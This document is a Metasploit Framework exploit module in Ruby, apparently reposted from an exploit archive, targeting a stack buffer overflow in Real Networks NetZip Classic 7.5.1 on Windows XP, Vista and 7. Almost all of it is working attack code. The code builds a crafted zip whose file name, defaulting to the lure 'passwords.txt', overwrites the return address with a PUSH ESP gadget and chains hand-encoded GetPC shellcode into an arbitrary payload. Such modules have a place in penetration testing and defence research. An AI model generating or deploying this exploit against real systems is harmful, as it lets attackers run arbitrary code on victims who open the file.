Real Networks Netzip Classic 7.5.1 86 Buffer Overflow

`##  
# $Id: real_networks_netzip_bof.rb 13952 2011-10-16 15:47:04Z todb $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
require 'rex/zip'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GoodRanking  
  
include Msf::Exploit::FILEFORMAT  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Real Networks Netzip Classic 7.5.1 86 File Parsing Buffer Overflow Vulnerability',  
'Description' => %q{  
This module exploits a stack-based buffer overflow vulnerability in  
version 7.5.1 86 of Real Networks Netzip Classic.  
In order for the command to be executed, an attacker must convince someone to  
load a specially crafted zip file with NetZip Classic.  
By doing so, an attacker can execute arbitrary code as the victim user.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'C4SS!0 G0M3S', # Vulnerability discovery and original exploit  
'TecR0c <roccogiovannicalvi[at]gmail.com>', # Metasploit module  
],  
'Version' => '$Revision: 13952 $',  
'References' =>  
[  
[ 'BID', '46059' ],  
[ 'URL', 'http://proforma.real.com' ],  
[ 'URL', 'http://www.exploit-db.com/exploits/16083/' ],  
],  
'Platform' => [ 'win' ],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Payload' =>  
{  
'Space' => 1000,  
'BadChars' => Rex::Text.charset_exclude(Rex::Text::AlphaNumeric),  
'DisableNops' => true,  
'EncoderOptions' =>  
{  
'BufferRegister' => 'ESI'  
}  
},  
'Targets' =>  
[  
[  
'Windows XP SP3',  
{  
'Offset' => 247, # To EIP  
'Ret' => 0x10061cf9, # PUSH ESP # RETN 08 - NPSYSTEM.dll 7.5.1.86  
'Max' => 2000, # Max buffer size  
}  
],  
  
[  
'Windows 7/Windows Vista',  
{  
'Offset' => 248, # To EIP  
'Ret' => 0x10061cf9, # PUSH ESP # RETN 08 - NPSYSTEM.dll 7.5.1.86  
'Max' => 2000, # Max buffer size  
}  
],  
],  
'DisclosureDate' => 'Jan 30 2011',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [ true, 'The output file name.', 'msf.zip']),  
OptString.new('CONTENTNAME', [ true, 'Name of the fake zipped file', 'passwords.txt']),  
], self.class)  
  
end  
  
def exploit  
  
buffer = "#{datastore['CONTENTNAME']}"  
buffer << ' ' * (target['Offset']-buffer.length)  
buffer << [target.ret].pack('V')  
buffer << make_nops(8)  
  
# GetPC - Non ascii characters get converted  
buffer << "\x89\x05" #jmp short (5 bytes) to 'jmp back' at end  
buffer << "\x5e" #pop esi  
buffer << "\x41" #nop (inc ecx)  
buffer << "\x98\x99" #call esi  
buffer << "\x41" #nop (inc ecx)  
buffer << "\x8a\x94\x98\x98\x98" #jmp back to pop esi  
buffer << payload.encoded  
buffer << rand_text_alpha(target['Max']-buffer.length)  
  
zip = Rex::Zip::Archive.new  
xtra = [0xdac0ffee].pack('V')  
comment = [0xbadc0ded].pack('V')  
zip.add_file(buffer, xtra, comment)  
  
# Create the file  
print_status("Creating '#{datastore['FILENAME']}' file...")  
  
file_create(zip.pack)  
end  
  
end  
`